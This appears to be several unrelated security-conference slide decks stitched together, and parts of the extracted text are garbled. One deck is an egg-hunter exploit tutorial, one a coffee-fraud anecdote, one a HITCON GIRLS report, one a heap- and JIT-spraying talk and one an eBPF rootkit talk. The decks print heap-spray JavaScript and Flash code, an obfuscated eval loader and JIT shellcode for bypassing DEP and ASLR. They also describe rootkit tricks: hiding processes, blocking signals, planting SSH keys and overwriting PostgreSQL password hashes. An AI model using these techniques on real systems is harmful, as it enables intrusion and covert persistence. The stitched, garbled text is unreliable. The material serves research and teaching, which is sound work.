Addi:onal%informa:on:%heps://www.corelan.be/index.php/2010/01/09/exploit-wri:ng-tutorial-part-8-win32-egg-hun:ng/%
Egg%hunters%
We%start%with%our%skeleton%Python%script,%which%uses%nseh,%seh%and%nops(no%shellcode%this%:me).%%
Egg%hunters%
We%land%in%our%nops%as%expected,%which%will%allow%us%to%create%and%execute%our%egg%hunter.%
Egg%hunters%
Using%msf-egghunter%to%generate%our%egghunter,%with%x00%as%the%only%bad%char,%tag%of%WOOT.%
Egg%hunters%
Adding%the%egghunter%to%our%code,%also%including%the%WOOTWOOT%tag%just%ader%ini:al%“A”%buffer%
Egg%hunters%
Execu:ng%our%script%with%our%Egg%hunter,%if%all%goes%well%we%should%find%WOOTWOOT%in%memory.%
Egg%hunters%
Our%egghunter%tag%is%found,%we%can%now%place%nops%and%shellcode!%
Egg%hunters%
Once%again,%we%generate%our%shellcode%using%msfvenom.%
Egg%hunters%
Adding%the%shellcode%to%our%exploit%(1/2).%
Egg%hunters%
Adding%the%shellcode%to%our%exploit%(2/2).%
Egg%hunters%
Running%our%final%exploit%with%egg%hunter%and%shellcode.%
Egg%hunters%
By%sexng%breakpoints%and%stepping%through%the%execu:on,%we%can%see%our%egg%hunter.%
Egg%hunters%
We%set%another%strategic%breakpoint,%ader%our%WOOTWOOT%is%found%in%memory,%then%con:nue.%
Egg%hunters%
To%confirm,%we%find%our%tag%in%memory,%followed%by%our%nops%and%shellcode.%
Egg%hunters%
We%con:nue%execu:on,%find%our%nops%and%shellcode%executes%correctly.%
Egg%hunters%
Bind%shell%wai:ng%on%port%443%for%us%to%connect%to.%
Egg%hunters%
Connec:ng%to%our%bind%shell!%
@telspacesystems%
www.telspace.co.za%
References%and%thanks%to:%
FuzzySecurity%
Corelan%(Peter!)%
Offsec%
Mae%Miller%(skape)%
DEF%CON%(Jeff,%Nikita,%Highwiz,%Toeenkoph%and%all%crew)%
The%Telspace%Systems%Crew%(heps://www.telspace.co.za)%
% | pdf |
CONFESSIONS OF A
NESPRESSO MONEY
MULE
NINA KOLLARS
@NIANASAVAGE
“KITTY HEGEMON”
VIEW EXPRESSED TODAY
DO NOT NECESSARILY
REFLECT THE DON, DOD,
NWC, ….
YES, THEY KNOW I’M
HERE, ….
….SO I BOUGHT
SOME COFFEE ON
EBAY…
And this showed up with my
coffee….. Retail $280
Triangulation
Fraud
…..SO I
BOUGHT SOME
MORE COFFEE
ON EBAY…
….AND THEN I
BOUGHT
MORE COFFEE
ON EBAY
VERY POLITE
CANCELLED
ORDER
‘MAYBE YOU OUGHT TO CONTACT THE FBI….?’
Total bounty:
Total Spent:
Guilt Factor Less?
TOTAL BOUNTY….
5 Total Purchases
1 Cancelled
#of Pods 1200
1 Frother, 1 Espresso Machine
$ Spent: 391.90
$ Value : Approx 939 ~ Not on
sale….
FOR SALE: GENTLY
USED NESPRESSO
PIXIE
NO….I REALLY
HAVEN’T
THOUGHT THIS
THROUGH….
PROCEEDS TO
DIANAINITIATIVE
Bidding starts at $1.00 …..Cash only
@NIANASAVAGE
Come to Tamper Evident
AUCTION ENDS SUNDAY @10AM
THANK YOU!
[email protected]
Shout out to: Mom Dad Brother…
HuggyBear
Funsized
DataGram | pdf |
Nanika
[email protected]
魔術
薩斯頓三原則
表演之前絕對不透漏接下來的表演內容。
不在同一時間、地點對相同的觀眾變同樣
的表演2次以上。
表演過後,絕不向觀眾透露表演的秘密。
Windows 防護弱點機制
/GS
SafeSEH
DEP
ASLR
突破
破解魔術手法
一般弱點利用
Fish 應用範圍
成功魔術的需求
手法 (弱點利用)
Why Spraying
Not control precisely
Not control
Universal
12
NOP
NOP
0x0c0c0c0c OR AL,0C
0x0d0d0d0d 0d OR EAX,0D0D0D0D
0x0a0a0a0a OR CL,BYTE PTR DS:[EDX]
0x0b0b0b0b OR ECX,DWORD PTR
DS:[EBX]
0x0c0b0c0b OR AL,0B
0x14141414 ADC AL,14
………………………………….
13
Not control precisely
esi=0x41414141
mov eax,esi
mov ecx,[eax]
call [ecx+0x8]
Offset 0x10 MEM 0x01140000
AAAAAAAAAAAAAAAA
Offset 0x20 MEM 0x01140010
BBBBBBBBBBBBBBBBB
14
0a
0b
0c
0d
Not control
esi=0x0c374512 not control
mov eax,esi
mov ecx,[eax]//no access
call [ecx+0x8]
15
0x0c374512
0b
0c
0d
0b
Universal
16
• 2000
• Stack overflow
• 0x0013ffa0
• 0x0013ffbc//cookie
• 0x0013ffc0//ret
• 0x0013ffe0
• 0x0013fff0//seh
• 0x0014000//no
access
• XP
• Stack overflow
• 0x0013ffac//cookie
• 0x0013ffb0//ret
• 0x0013ffc0
• 0x0013ffe0//seh
• 0x0013fff0
• 0x0014000//no
access
Classic javascript heap spraying
var heapSprayToAddress = 0x12202020;//var payLoadCode =
unescape("%uE8FC%u0044……..”);
var heapBlockSize = 0x100000;
var payLoadSize = payLoadCode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("%u0c0c%u0c0c");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress - 0x10C000)/heapBlockSize;
memory = new Array();
for (i=0;i<heapBlocks;i++)
{memory[i] = spraySlide + payLoadCode;}
function getSpraySlide(spraySlide, spraySlideSize)
{while (spraySlide.length*2<spraySlideSize)
{spraySlide += spraySlide;}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return spraySlide;
}
17
JavaScript Encode
<html><body><button id="helloworld" onclick="blkjbdkjb();"
STYLE="DISPLAY:NONE"></button></script><script
language="JavaScript">var strtmp =
String.fromCharCode(102,117,110,99,116,105,111,110,32,101,1
01,106,101,101,102,101,40,41,123,118,97,114,32,115,61,117,1
10,101,115,99,97,112,101,40,34,37,117,48,101,101,98,37,117,
52,98,53,98,37,117,99,57,51,51,37,117,102,54,98,49,37,117,51
,52,56,48,37,117,101,101,48,98,37,117,102,97,101,50,37,117,4
8,53,101,98,37,117,101,100,101,56,37,117,102,102,102,102,37
,117,48,55,102,102,37,117,101,101,52,97,37,117,101,101,101,
101,37,117,56,97,98,49,37,117,100,101,52,102,37,117,101,101
,101,101,37,117,54,53,101,101,37,117,101,50,97,101,37,117,5
7,101,54,53,37,117,52,51,102,50,37,117,56,54,54,53,37,117,54
,53,101,54,37,117,56,52,49,57,37,117,98,55,101,97,37,117,97,
97,48,54,37,117,101,101,101,101,37,117,48,99,101,101,37,117
,56,54,49,55,37,117,56,48,56,49,37,………………);var ee =
eval;ee(strtmp);
18
老梗還拿出來講………
Flash
當防毒軟體針對 JavaScript 做了動態語
意分析之後,使用各種 Encode 技術通常
無法欺騙防毒軟體,最多只能作到欺騙分
析人員增加分析人的作業時間
Flash 使用者非常的普及,任何有安裝瀏覽
器的都有安裝Flash
JavaScript 做得到的 Flash 大部分都做得
到
19
防護目前最頭痛問題
沒有防不了的東西
不知道的東西防不了
似好似壞游走邊緣的
Flash Spraying
public function MainTimeline()
{addFrameScript(0, frame1);return;}// end function
function frame1(){ shellcode = new ByteArray();
shellcode.writeByte(144);……………
b = "\f\f\f\f";a = "\x0d\x0d\x0d\x0d";
while (b.length < 1048576-(shellcode.length+64))//2097152)//1048576)
{ b = b + a;}
byteArr = new ByteArray();
gy = new ByteArray();
gy.writeMultiByte(b, "iso-8859-1");
byteArr.writeMultiByte(gy, "iso-8859-1");
byteArr.writeBytes(shellcode, 0,shellcode.length);
gy1 = new ByteArray();
gy1.writeBytes(byteArr, 0,byteArr.length);
gy2 = new ByteArray();
gy2.writeBytes(byteArr, 0,byteArr.length);
return;
21
Why Not To Do This?
var c=0;
var gy1:Array = new Array();
while (c < 128)//2097152)//1048576)
{
gy1[c] = new ByteArray();
gy1[c].writeBytes(byteArr,0,byteArr.length);
c=c+1;
}
22
Flash Spraying can not bypass
DEP
23
JIT(BlackHat DC 2010)
var y=(0x11223344^0x44332211^0x44332211…);
0x909090:35 44332211 XOR EAX, 11223344
0x909095:35 44332211 XOR EAX, 11223344
0x90909A:35 44332211 XOR EAX, 11223344
0x909091:44 INC ESP
0x909092:3322 XOR ESP,[EDX]
0x909094:1135 44332211 ADC [11223344],ESI
0x90909A:35 44332211 XOR EAX, 11223344
24
var
ret=(0x3C909090^0x3C909090^0x3C909090^0x3C909090^ …);
0x1A1A0100: 359090903C XOR EAX, 3C909090
0x1A1A0105: 359090903C XOR EAX, 3C909090
0x1A1A010A: 359090903C XOR EAX, 3C909090
0x1A1A010F: 359090903C XOR EAX, 3C909090
0x1A1A0101: 90 NOP
0x1A1A0102: 90 NOP
0x1A1A0103: 90 NOP
0x1A1A0104: 3C35 CMP AL, 35
0x1A1A0106: 90 NOP
0x1A1A0107: 90 NOP
0x1A1A0108: 90 NOP
0x1A1A0109: 3C35 CMP, AL 35
25
JIT Shellcode
mov edi, 0x7946c61b
mov al,0x1b
push al
CMP AL,0x35
inc esp
inc esp
inc esp
CMP AL,0x35
inc esp
inc esp
NOP
CMP AL,0x35
mov al,0xc6
push al
CMP AL,0x35
inc esp
inc esp
inc esp
CMP AL,0x35
inc esp
inc esp
NOP
CMP AL,0x35
mov al,0x46
push al
CMP AL,0x35
27
0347006A D9D0 FNOP
0347006C 54 PUSH ESP
0347006D 3C 35 CMP AL,35
0347006F 58 POP EAX
03470070 90 NOP
03470071 90 NOP
03470072 3C 35 CMP AL,35
03470074 6A F4 PUSH -0C
03470076 59 POP ECX
03470077 3C 35 CMP AL,35
03470079 01C8 ADD EAX,ECX
0347007B 90 NOP
0347007C 3C 35 CMP AL,35
0347007E D930 FSTENV DS:[EAX]
0x1A1A0110: 803F6E
CMP [EDI], 'n'
0x1A1A0113: 6A35
PUSH 35
0x1A1A0115: 75EF jnz
short
28
Decoder flow
0x1A1A0101: Decoder
0x1A1A0102: Decoder
0x1A1A0103: Decoder
0x1A1A0104: 3C35 CMP AL, 35
0x1A1A0106: Decoder
0x1A1A0107: Decoder
0x1A1A0108: Decoder
0x1A1A0109: 3C35 CMP, AL 35
0x1A1A010A: Magic
0x1A1A010B: Magic
0x1A1A010C: Magic
0x1A1A010D: 3C35 CMP, AL 35
0x1A1A010E: Encode Shellcode
0x1A1A010E: Encode Shellcode
0x1A1A010E: Encode Shellcode
0x1A1A010D: 3C35 CMP, AL 35
29
ALSR(Address space layout
randomization)
30
JIT Spraying(1)
function pageLoadEx()
{ var ldr = new Loader();
var url = "jit_s0.swf";
var urlReq = new URLRequest(url);
ldr.load(urlReq);childRef = addChild(ldr); }
function pageLoad()
{
for(var z=0;z<2400;z++){pageLoadEx();}
}
function Loadzz1()
{
Security.allowDomain("*");
pageLoad();
}
31
WinXP Vista Win7
32
Bypass ASLR
33
JIT Spraying(2)
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#v
ersion=6,0,29,0" width="0" height="0" id="MyFlash">
<param name="movie" value="bb.swf">
<param name="quality" value="high">
<param name="fullscreen" value="true"><param name="scale" value="exactfit">
<embed src="bb.swf" quality="high"
pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-
shockwave-flash" width="800" height="600">
</embed>
</object>
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#v
ersion=6,0,29,0" width="0" height="0" id="MyFlash">
<param name="movie" value="bb2.swf">
<param name="quality" value="high">
<param name="fullscreen" value="true"><param name="scale" value="exactfit">
<embed src="bb2.swf" quality="high"
pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-
shockwave-flash" width="800" height="600">
</embed>
</object>
34
WinXP & Vista
35
WinXP
36
Vista
37
PDF & Flash
Acrobat 9.2 default Enable DEP
Acrobat default support Flash
Adobe: Turn off JavaScript in PDF
Reader
38
WinXP PDF & One Big Flash
39
WinXP Vista Win7
40
Include Flash
41
創造
(尋找新的魔術 - 0day)
0day
自己找
等別人寄
收到也不知道
什麼是0day 可以吃嗎?
第一等人,是創造機會的人
第二等人,是發現機會的人
第三等人,是等待機會的人
第四等人,是錯失機會的人
您是第幾等的人呢??
要怎樣尋找 0day
測試
測試
測試
不斷測試
天公疼憨人
http://rootkit.tw/blog/?p=173
0x66->0x40
收集大量範本
需要大量機器資源
範本丟入測試
自由活動
定時觀察報告
有誰在自動測試弱點?
MS
O
安全研究員
O
防毒
?
地下駭客
O
政府
?
軟體開發廠商
?
????
要怎樣收穫就要怎樣栽
不要守株待兔
安全還是靠自己最好
有興趣加入或贊助自動化測試弱點
計畫
來信寄到
[email protected]
Thank you
Q & A | pdf |
HITCON GIRLS 成果分享
與 BLACK HAT 之旅
HITCON COMMUNITY 2019
SPEAKERS
‣shad0w
‣ 台灣停電科技大學研究生,HITCONGIRLS創始團隊中最晚脫離學生身份的人(・ω・)ノ
‣akee
‣ HITCONGIRLS成員,不是創始團隊也沒有兼職,只是個單純的成員_(:з」∠)_
‣HazelYen
‣ HITCONGIRLS創始團隊暨總召,比較擅長活在鍵盤後面的生物(゚∀゚)
OUTLINE
‣HITCONGIRLS介紹
‣近期成果與專案
‣BlackHat旅程
‣DEFCON見聞
OUTLINE
‣HITCONGIRLS介紹
‣近期成果與專案
‣BlackHat旅程
‣DEFCON見聞
HITCON GIRLS 介紹
HITCONGIRLS是以女性為主的資安社群,
我們組織各種不同主題的讀書會,來幫助成
員們透過合作與分享來克服學習上的瓶頸與
互相學習。創造一個鼓勵並激發女性學習資
安的環境,並增加科技產業的包容性。
HITCON GIRLS 理念
‣希望聚集對資安感興趣、⼀一起成長的女性,推
廣「任何⼈人都可以學習資訊安全」的理理念念
組織架構
‣籌備團
‣讀書會
組織架構
‣籌備團
‣讀書會
負責活動和場地財務管理理,和實作
群溝通完善原本的規劃,促成順暢
的活動流程,籌備團也是HITCON
GIRLS 創立的前⾝身。
(ง๑ •̀_•́)ง
籌備團
‣每年年都會辦⼀一場⼤大型的活動
‣資安推廣活動
‣粉絲團、twitter、官網...
組織架構
‣籌備團
‣讀書會
負責活動和場地財務管理理,和實作
群溝通完善原本的規劃,促成順暢
的活動流程,籌備團也是HITCON
GIRLS 創立的雛形。
每個週期會有不定數量量的讀書會⼩小
組,平時獨立運作舉辦組內讀書會,
每個⽉月會有全體交流會,讓⼤大家攝取
不同類型的知識。
d(`・∀・)b
DFIR 組
數位鑑識與響應分析組,負責
蒐集資料,分析駭客到底在犯
案現場留留下了了什什麼
以 CTF 為⽬目標的組別,包⼭山包
海海什什麼都研究,還會不定期出團
打 CTF!
惡惡意程式分析組
針對 Malware 進⾏行行分析研
究,內容包含靜態與動態分
析、各種⼯工具以及分析思
路路。
不分組
對於各個領域的資安研究都
會進⾏行行涉獵和分享。
CTF 組
WEB PT 組
專⾨門研究網⾴頁滲透測試的⼿手
法,如何攻擊、如何防禦都是
研究⽬目標
讀書會
OUTLINE
‣HITCONGIRLS介紹
‣近期成果與專案
‣BlackHat旅程
‣DEFCON見聞
近期成果與專案 - 之於一個社群
‣點數制度
‣總召選舉&行政團隊
‣教練制度
‣英文官網
點數規則的由來
‣「社群」來自於一群擁有共同理念的夥伴,在「對資訊安全有興趣」
的匯合下我們組成HITCONGIRLS。
‣健康的社群,需要傳承與制度。
‣讀書會的經營、活動的籌劃以及組織的營運需要夥伴一起分擔,點數
是為了鼓勵「不斷在付出的人」,不論你做的事情是大是小。
點數可以換什麼
不⼀一定有,有就會回饋社群
總召選舉&行政團隊
‣健康的社群,需要傳承與制度
‣讓每個人找到自己的舞台,或許有成員非資安
相關,但是她支持社群的理念,她也可以幫忙
總召怎麼選?
‣由非總召的成員成立選舉活動
‣徵「總召候選人」,發表未來營運方針、目標
‣所有成員皆可投票
為什什麼社群要搞得這麼複雜?
搞得好像社群感情很不好?
行政團隊
‣拆分工作的目標是降低每個人的壓力
‣環環相扣的行政流程代表每個人都很重要
‣永遠找得到事情做,沒有的話還可以自己新
增⋯⋯XD
所以到底為什麼要弄得這麼複雜?
‣為了讓社群永存
‣ 避免單一人力過勞
‣ 傳承後有完整的文件、營運制度可以參考
‣ 規範代表限制,同時也代表保障
‣為了讓成員有參與感、發言權
‣有一天,總召不在了,任何人都可以當上領導者
教練制度
‣HG有一個特別的存在叫作「教練」
‣於讀書會有問題時可向他/她提問
教練制度的苦衷T^T
‣這就是最容易被說「女生真好」的制度
‣其實呢,Mentor作法在資安圈很常見
‣其實呢,教練沒有義務要幫我們、回應每個問題
‣其實呢,就跟在研討會抓住Speaker發問一樣
曾經有人問過粉絲團如何自主學習
教練在這
但學習還
是靠⾃自⼰己
ENGLISH WEBSITE
ENGLISH WEBSITE
‣自從上了英文官網後,來自國外的訊息、互
動、活動就變多了呢(推薦XD)
‣感謝成員幫忙翻譯!
近期成果與專案 - 活動回顧
‣不是刻意,但HG活動大概有三種類型
‣ 大型活動,開放的、很累的
‣ 分享,把知識轉成語言、投影片或影片的類型
‣ 邀請型,會請外部的人來分享經驗
活動回顧:大型活動
2014
第四屆讀書會成員招募CTF
HITCONCMT2018
我們的初始Workshop
HGatHITB活動
2019
2018
活動回顧:分享
讀書會成果發表
資安萌芽推廣
HG帶你直擊Conf
2015
2017
2019
活動回顧:邀請型
2015
2016
2017
BirdsofaFeather
資安女性分享會
ChipchatParty
週年紀念以及PPP分享
2019
OUTLINE
‣HITCONGIRLS介紹
‣近期成果與專案
‣BlackHat旅程
‣DEFCON見聞
BLACK HAT 旅程 - 前言
‣為何會有這次演講?
‣ 共同演講邀約
‣ AsukaNakajima|CTFforGIRLS
‣ SuheeKang|PowerofXX
‣ HazelYen|HITCONGIRLS
CTF FOR GIRLS
POWER OF XX
BLACK HAT 旅程 - 關於投稿的大小事
‣講師費US$1000
‣補助機票US$1300
‣補助住宿(大約2~3萬元左右)
‣可以提前買DEFCON門票
BLACK HAT 旅程 - 前言
‣為何會有這趟旅程
‣ 天價的門票(´°̥̥ω°̥̥`)༎y‿༎y(ꈨy˙̫̮ꈨy)(༎y෴༎y)(´;︵;`)
‣ BusinessPass$695
‣ BusinessHall,Arsenal,SponsoredSessions,Sponsored
Workshops,andtheKaliLinuxDojo.
BLACK HAT 旅程 - 學生免費專案
‣BlackHatStudentScholarshipProgram
‣ 為什麼你想參加BH
‣ 有什麼樣的具體經驗讓你有資格拿Pass
‣ 三個過去的BH分享中特別感興趣的內容
‣Briefingsonly
‣BlackHatEurope學生專案申請:Sep.8~Nov.8
WHAT IS BLACK HAT?
‣1997年開始舉辦,是世界上最具代表性的資訊安全研討會之一
‣偏向企業、產業
‣有專業的Trainings,Workshops,但價格比Briefings門票更貴
BLACK HAT 旅程
‣炫富的開場
‣完整版可以鎖定BlackHatYoutube頻道,雖然
他們可能還要再過幾個月才會上傳>w<
BLACK HAT 旅程
‣官方APP特點
‣ 排自己的議程schedule
‣ 每個議程都可以做筆記
‣ 地圖(會場超級大)
BLACK HAT 旅程
‣Party&NetworkingEvents
‣ 由不同的贊助商和社群舉辦
‣ 需要事先報名
BLACK HAT 旅程
‣CareerArea面試區
‣ 練習英文溝通的好機會
‣ 雖然可能90%會因為沒有綠卡而失敗
BLACK HAT 旅程
‣非常禮遇講者
‣ 住宿、機票、講師費
‣ 演講前調整mic、演講途中全程幫你控制音量
‣ 提供rehearsalroom,且有會後討論室讓講者跟會眾可以盡
情討論
‣ 休息室飲料吧台
BLACK HAT 旅程 - 收獲
‣最頂尖的技術或漏洞分享
‣主動找社群/廠商聊天,拓展人脈
‣所有議程都會錄影並放到Youtube
‣有錢就好了
OUTLINE
‣HITCONGIRLS介紹
‣近期成果與專案
‣BlackHat旅程
‣DEFCON見聞
WHAT IS DEF CON?
‣1993年開始舉辦,是世界上最具代表性的資訊安全研討
會之一
‣駭客的超大型派對
‣可以自由地與講者及商家交流,或是參與各種競賽和活動
DEF CON 見聞 - BADGE 介紹
‣均一票價USD300
‣白色:human
‣藍色:speaker
‣紫色:vendor
‣綠色:press
‣紅色方形:staff
‣紅色圓形:staff組長
DEF CON 見聞 - 特殊 BADGE
‣要在特定場合參加活動並找到NPC才能取得
magictoken
DEF CON 見聞 - PRESS TICKET
‣怎麼申請
‣ 寄信給pressteam
‣ 主辦回覆approve
‣ 現場到PressRoom付
錢領取,也是USD
300
‣規則
‣ 允許在會場錄影、拍照和
採訪
‣ 攝影要經過對方同意,不
得使用隱藏式攝影機
‣ 不可以拍小孩(潛規則)
DEF CON 見聞 - PRESS TICKET
‣可以做
‣ 允許在會場錄影、拍照和採訪
‣ 使用媒體室剪輯影片、編輯採訪文稿,提供插座網路&
飲料吧台!
‣ 會在路上各種被攔阻touchbadge
來來 DEFCON 就是要去參參加 village, contest 啊!
聽那些之後會放到 YouTube 的議程要幹嘛 (「`・ω・)「
DEF CON 見聞 - VILLAGE
‣DEFCON的本體
‣每個village都會有一個空間,讓host自由發
揮議程、workshop、contest
‣forums上總共有33個,活動不限於會議期間
Car Hacking
Skytalks
Red Team
Blue Team
Hack the Sea
Wireless
Packet Hacking
Social Engineer
Voting Hacking
VX
Tamper Evident
Soldering Skills
Recon
Lock Bypass
Lockpick
IoT
Ethics
Hardware Hacking
Crypto and Privacy
Data Duplication
Cloud
Blockchain
Biohacking
Aviation
AppSec
AI
Drone Warz
Ham Radio
ICS
Monero
r00tz
Rogues
DEFCON Furs
ref: https://forum.defcon.org/node/227570
DEF CON 見聞 - CONTEST AREA
‣由各社群主辦
‣ 寫小故事
‣ 鬍子
‣ 騎腳踏車
‣ 酒醉駭客
‣ 飲料降溫
DEF CON 見聞 - CONTEST AREA
‣HackFortress
‣ 絕地要塞2+資安比賽
‣ 6TF2playersand4hackers
‣ 只會玩FPS就靠TF2打比賽吧¯\_( ͡° ͜ʖ ͡°)_/¯
DEF CON 見聞 - DEMO LAB
‣各自報名,每個人可以來發表自己寫的工具
‣超小型talks(每場可能不到五個人聽)
‣可以很好的跟講者討論細節
DEF CON 見聞 - 貼紙文化
‣到處、無所不在、哪邊都會被貼貼紙
‣大家會交流自己有的貼紙,可以跟別人拿or
交換
DEF CON 見聞
‣只提供水,其他需自理
‣今年場地分散在三間飯店
‣可利用空間很大,但走得很累ヘ(。□°)ヘ
DEF CON TIPS
‣會前先上Forums看看今年有什麼活動
‣提早決定想參加的,就可以花更多時間投入
‣有些CTF,contest需要事先報名否則無法參加
‣想拷貝資料需要自行準備TB等級的硬碟(今年
6TB)
‣準備好飛美國的機票錢(~‾▿‾)~
Open your mind ʕっ•ᴥ•ʔっ
Just hack it!
Q/A Welcome
ᕙ(@°▽°@)ᕗ
FOLLOW HITCON GIRLS
‣官網:girls.hitcon.org
‣社群:
‣信箱:[email protected]
‣ping:HazelYen | pdf |
eBPF, I thought we were
friends !
Guillaume Fournier
Sylvain Afchain
August 2021
Defcon 2021
2
About us
Guillaume Fournier
Security Engineer
[email protected]
Sylvain Afchain
Staff Engineer
[email protected]
Sylvain Baubeau
Staff Engineer & Team lead
[email protected]
●
Cloud Workload Security Team
●
Leverage eBPF to detect attacks at runtime
●
Integrated in the Datadog Agent
3
Agenda
●
Introduction to eBPF
●
Abusing eBPF to build a rootkit
○
Obfuscation
○
Persistent access
○
Command and Control
○
Data exfiltration
○
Network discovery
○
RASP evasion
●
Detection and mitigation strategies
Defcon 2021
4
Introduction to eBPF
Defcon 2021
5
Introduction to eBPF
●
Extended Berkeley Packet Filter
●
Sandboxed programs in the Linux kernel
●
Initially designed for fast packet processing
●
Use cases:
○
Kernel performance tracing
○
Network security and observability
○
Runtime security
○
etc
What is eBPF ?
Falco
Tracee
Defcon 2021
6
Introduction to eBPF
Step 1: Loading eBPF programs
Defcon 2021
7
Introduction to eBPF
Step 2: Attaching eBPF programs
●
Defines how a program should be triggered
●
~ 30 program types (Kernel 5.13+)
●
Depends on the program type
○
BPF_PROG_TYPE_KPROBE
○
BPF_PROG_TYPE_TRACEPOINT
○
BPF_PROG_TYPE_SCHED_CLS
○
BPF_PROG_TYPE_XDP
○
etc
●
Programs of different types can share the same eBPF maps
“perf_event_open” syscall
Dedicated Netlink command
Defcon 2021
8
Introduction to eBPF
eBPF internals: the verifier
The eBPF verifier ensures that eBPF programs will finish and won’t crash.
❏
Directed Acyclic Graph
❏
No unchecked dereferences
❏
No unreachable code
❏
Limited stack size (512 bytes)
❏
Program size limit (1 million on 5.2+ kernels)
❏
Bounded loops (5.2+ kernels)
❏
… and cryptic output ...
Defcon 2021
9
Introduction to eBPF
eBPF internals: eBPF helpers
●
Context helpers
○
bpf_get_current_task
○
bpf_get_current_pid_tgid
○
bpf_ktime_get_ns
○
etc
●
Map helpers
○
bpf_map_lookup_elem
○
bpf_map_delete_elem
○
etc
●
Program type specific helpers
○
bpf_xdp_adjust_tail
○
bpf_csum_diff
○
bpf_l3_csum_replace
○
etc
●
Memory related helpers
○
bpf_probe_read
○
bpf_probe_write_user
○
etc
… ~160 helpers (kernel 5.13+)
Defcon 2021
10
Abusing eBPF to build a rootkit
Defcon 2021
11
Abusing eBPF to build a rootkit
●
Cannot crash the host
●
Minimal performance impact
●
Fun technical challenge
●
A growing number of vendors use eBPF
●
eBPF “safety” should not blind Security Administrators
Why ?
Falco
Tracee
Defcon 2021
12
Abusing eBPF to build a rootkit
●
Trade off between latest BPF features / availability
=> Latest Ubuntu LTS, RHEL/CentOS
●
KRSI and helpers such bpf_dpath may help
Goals
Defcon 2021
13
Abusing eBPF to build a rootkit
●
Hide the rootkit process
○
eBPF programs are attached to a running process
Our userspace rootkit has to stay resident
○
Detection through syscalls that accept pids as arguments : kill, waitpid, pidfd_open, ...
●
Hide our BPF components:
○
programs
○
maps
Obfuscation
Defcon 2021
14
Abusing eBPF to build a rootkit
Demo
Program obfuscation
Defcon 2021
15
Abusing eBPF to build a rootkit
●
bpf_probe_write_user
○
Corrupt syscall output
○
Minor and major page faults
●
bpf_override_return
○
Block syscall
○
Alter syscall return value
■
But syscall was really executed by the kernel !
Program obfuscation - Techniques
Defcon 2021
16
Abusing eBPF to build a rootkit
File obfuscation - stat /proc/<rootkit-pid>/cmdline (1)
Defcon 2021
17
Abusing eBPF to build a rootkit
Program obfuscation - stat /proc/<rootkit-pid>/exe (2)
Defcon 2021
18
Abusing eBPF to build a rootkit
●
Block signals
○
Hook on the kill syscall entry
○
Override the return value with ESRCH
●
Block kernel modules
Program obfuscation
Defcon 2021
19
Abusing eBPF to build a rootkit
Demo
BPF program obfuscation
Defcon 2021
20
Abusing eBPF to build a rootkit
BPF program obfuscation
●
bpf syscall
○
Programs:
■
BPF_PROG_GET_NEXT_ID
■
BPF_PROG_GET_FD_BY_ID
○
Maps:
■
BPF_MAP_GET_NEXT_ID
■
BPF_MAP_GET_FD_BY_ID
○
Hook on new prog / map to get the allocated ID
●
Hook on read syscall and override the content
Defcon 2021
21
Abusing eBPF to build a rootkit
BPF program obfuscation
●
bpf_probe_write_user
○
message in kernel ring buffer
“...is installing a program with bpf_probe_write_user helper that may corrupt user memory!”
○
dmesg
○
journalctl -f
○
syscall syslog
Defcon 2021
22
Abusing eBPF to build a rootkit
Demo
BPF program obfuscation
Defcon 2021
23
Abusing eBPF to build a rootkit
BPF program obfuscation
Defcon 2021
24
Abusing eBPF to build a rootkit
Persistent access
●
Self copy
○
Generate random name
○
Copy into /etc/rcS.d
○
Hide file
●
Override content of sensitive files
○
SSH authorized_keys
○
passwd
○
crontab
Defcon 2021
25
Abusing eBPF to build a rootkit
Persistent access - ssh/authorized_keys
●
Append our ssh keys to authorized_keys files
●
Only for sshd
●
Available through the command and control...
Defcon 2021
26
Abusing eBPF to build a rootkit
Demo
Persistent access - ssh/authorized_keys
Defcon 2021
Defcon 2021
27
Abusing eBPF to build a rootkit
Persistent access - uprobe
●
eBPF on exported user space functions
●
Alter a userspace daemon to introduce a backdoor
●
Compared to ptrace
○
Works on all instances of the program
○
Safer
○
Easier to write
Defcon 2021
28
Abusing eBPF to build a rootkit
Demo
Persistent access - postgresql
Defcon 2021
29
Abusing eBPF to build a rootkit
Persistent access - postgresql
int md5_crypt_verify( const char *role, const char *shadow_pass, const char *client_pass,
const char *md5_salt, int md5_salt_len, char **logdetail )
●
md5_salt
challenge sent when user connects
shadow_pass
MD5(role + password)
stored in database
client_pass
MD5(shadow_pass + md5_salt)
sent by the client
●
new_md5_hash = bpf_map_lookup_elem(&postgres_roles, &creds.role);
if (new_md5_hash == NULL) return 0;
// copy db password onto the user input
bpf_probe_write_user(shadow_pass, &new_md5_hash->md5, MD5_LEN);
30
Abusing eBPF to build a rootkit
Command and control: introduction
●
Requirements
○
Send commands to the rootkit
○
Exfiltrate data
○
Get remote access to infected hosts
●
eBPF related challenges
○
Can’t initiate a connection
○
Can’t open a port
●
… but we can hijack an existing connection !
Defcon 2021
31
Abusing eBPF to build a rootkit
Command and control: introduction
●
Setup
○
Simple webapp with AWS Classic Load Balancer
○
TLS resolution at the Load Balancer level
●
Goal: Implement C&C by hijacking the network traffic to the webapp
Defcon 2021
32
Abusing eBPF to build a rootkit
Command and control: choosing a program type
BPF_PROG_TYPE_XDP
BPF_PROG_TYPE_SCHED_CLS
❏
Deep Packet Inspection
❏
Ingress only
❏
Can be offloaded to the NIC / driver
❏
Can drop, allow, modify and retransmit
packets
❏
Usually used for DDOS mitigation
❏
Deep Packet Inspection
❏
Egress and Ingress
❏
Attached to a network interface
❏
Can drop, allow and modify packets
❏
Often used to monitor & secure network
access at the container / pod level on k8s
Defcon 2021
33
Abusing eBPF to build a rootkit
Command and control: choosing a program type
BPF_PROG_TYPE_XDP
BPF_PROG_TYPE_SCHED_CLS
❏
Deep Packet Inspection
❏
Ingress only
❏
Can be offloaded to the NIC / driver
❏
Can drop, allow, modify and retransmit
packets
❏
Usually used for DDOS mitigation
❏
Deep Packet Inspection
❏
Egress and Ingress
❏
Attached to a network interface
❏
Can drop, allow and modify packets
❏
